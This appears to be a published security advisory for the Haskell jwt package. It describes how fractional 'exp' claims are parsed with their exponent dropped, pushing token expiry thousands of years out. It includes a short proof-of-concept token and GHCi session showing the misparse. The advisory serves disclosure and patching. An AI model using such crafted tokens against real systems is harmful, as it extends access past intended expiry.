Skip to content
OpenAdvisories
Unscored HSEC-2026-0010

Improper parsing of fractional NumericDate from JWT exp claims

Published Sep 29, 2026 · Updated Sep 29, 2026 · Assigned by HSEC

Description

# Improper parsing of fractional `NumericDate` from JWT `exp` claims

Since its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.

PoC:

```haskell
cabal repl --build-depends jwt==0.11.0

import Web.JWT
:set -XOverloadedStrings

let signer = VerifyHMACSecret "dummy-signing-symmetric-hmac-key.not-so-secret"
let exploit = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o"
-- {
-- "sub": "1234567890",
-- "name": "Honest Joe",
-- "admin": true,
-- "iat": 1790166786,
-- "exp": 1790170386.0001
-- }
λλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit
λ
λλ ➔ whoops
Verified (JOSEHeader {typ = Just "JWT", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [("admin",Bool True),("name",String "Honest Joe")]}}) (Signature "xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o")
λ
λλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops
Just 1790166786s
λ
λλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops
Just 17901703860001s
```

The encoded claim `exp = 1790170386.0001` is:
1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*"... non-integer values can be represented."*);
2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev);
3. Decodes incorrectly as `569252-05-30T12:40:01` (== posix epoch `17901703860001`) by the `jwt` library.
```
>>> import Data.Time.Format.ISO8601
>>> import Data.Time.Clock.POSIX
>>>
>>> iso8601Show $ posixSecondsToUTCTime 1790166786
"2026-09-23T12:33:06Z"
>>>
>>> iso8601Show $ posixSecondsToUTCTime 17901703860001
"569252-05-30T12:40:01Z"
```
This happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.

Since the standard `exp` claim carries credential expiration time:

> ### [4.1.4][rfc-4.1.4]. "exp" (Expiration Time) Claim
>
> The "exp" (expiration time) claim identifies the expiration time on
> or after which the JWT MUST NOT be accepted for processing. The
> processing of the "exp" claim requires that the current date/time
> MUST be before the expiration date/time listed in the "exp" claim.

— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.

[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209
[rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2
[rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4
[scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2

Affected packages

EcosystemPackageAffectedFixedRecord
Hackage jwt >= 0.1.0, < 0.12.0 0.12.0 HSEC-2026-0010

References